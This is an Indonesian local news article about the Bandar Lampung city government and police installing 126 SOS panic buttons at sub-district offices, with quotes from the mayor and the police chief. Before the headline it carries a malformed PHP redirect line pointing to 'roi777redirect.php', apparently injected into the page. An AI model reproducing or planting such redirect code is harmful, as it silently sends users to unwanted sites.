header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Wali Kota-Polresta Pasang Tombol Panik 126 Titik -
Wali Kota-Polresta Pasang Tombol Panik 126 Titik

TRANSLAMPUNG.COM, BANDAR LAMPUNG – Untuk memudahkan masyarakat melaporkan gangguan keamanan di wilayahnya, Pemerintah Kota (Pemkot) Bandarlampung bersama Polresta Bandarlampung telah memasang 126 tombol panik (Topan) di setiap kantor kelurahan.

Pemasangan tombol panik di 126 titik di Kota Bandarlampung ini merupakan komitmen pemerintah kota, agar masyarakat merasa aman, tenteram dan damai di lingkungannya masing-masing.

Hal ini diungkapkan Walikota Bandarlampung Herman HN, saat meresmikan tombol panik di Kelurahan Rawa Laut, Kecamatan Enggal, Minggu (31/12).

“Berapapun dana keamanannya, untuk kota Bandarlampung saya setuju, asalkan aman, karena bukan saja warga Bandarlampung yang diamankan, tetapi orang yang berkunjung, agar kota Balam dianggap kota paling aman, sekali pencet (topan) lima menit aparat datang,” ujarnya.

Herman mengatakan, pemasangan tombol panik sebenarnya ingin di gardu, bukan di kantor lurah.

“Kalau dipasang di kantor lurah, lurahnya pulang kantornya tutup mau mencet apa,” tukasnya.

Meski di tempat terbuka asalkan tidak dimainkan.

“Kasihan aparat dating, tapi tidak ada apa-apa. Jadi saya minta dipasang di luar, tapi saya harap jangan buat mainan,” sebutnya.

Kedepan, lanjut dia,  tombol panik ini akan ditambah lagi dibeberapa titik strategis di kota Bandar Lampung.

“Kedepan akan kita tambahkan ditempat kelurahan dan strategis, ini satu unit anggrannya Rp 1,25 juta, mudah-mudahan nambah besok, nantinya cctv juga dipasang,” tutupnya.

Mengenai tombol panik itu sendiri secara visual berbentuk kotak kuning dengan tombol merah bertuliskan SOS yang ada ditengahnya.

Tombol panik ini ditujukan kepada masyarakat yang membutuhkan pelayanan yang cepat. Diantaranya kesehatan, kebakaran, kriminalitas dan bencana alam.

Tombol panik ini akan terhubung dengan server yang kemudian diteruskan ke Kapolresta Bandar Lampung, lalu diteruskan kepada personil piket jaga Polresta.

Kapolresta Bandar Lampung Komisaris Besar Polisi,  Murbani Budi Pitono mengatakan, pemasangan tombol panik ini diharapkan membawa kebaikan dan keberkahaan bagi masyarakat Bandarlampung.

“Tentunya supaya masyarakat lebih aman damai dan tentram, ini bagian upaya kita untuk membangun ketentraman,” ujarnya.

Masih kata Kapolresta, upaya membangun ketentraman ini sudah dilakukan oleh pihaknya. Diantaranya menurunkan sebanyak-banyak personil untuk memberi keamanan bagi masyarakat.

“Bahkan kita bekerjasama Kodim Bandar Lampung, untuk membuat strong point, kemudian kita memerintahkan para personil untuk menindak tegas pelaku kejahatan,” tegasnya.

Selanjutnya upaya juga dilakukan dengan membuat program spiss. Yang mana ditujukan agar supaya masyarakat langsung melapor jika ada peristiwa.

“Spiss ini bisa melalui smartphone, atau paling sederhananya bisa langsung tekan telfon 110 nanti akan langsung terhubung dengan Polresta Bandar Lampung,” sebutnya.

Namun agar lebih mudah, masih kata Kapolresta, pihaknya bekerjasama dengan Pemkot Bandar Lampung membuat tombol panik.

“Tombol panik ini ada 126 buah, yang ditempatkan setiap kelurahan dan ditaruh ditempat-tempat tertentu,” sebutnya.

Kapolresta menambahkan, direncanakan tombol panik ini kedepan akan ada penambahan lagi yang lebih banyak dan juga lebih efesien.

“Tombol Ini ujung tombak maka kepada pak lurah tombol panik ini ditaruh ditempat yang strategis, yang terjangkau masyarakat dan terjamin keamananya,” tandasnya. (jef/rus)

News Reporter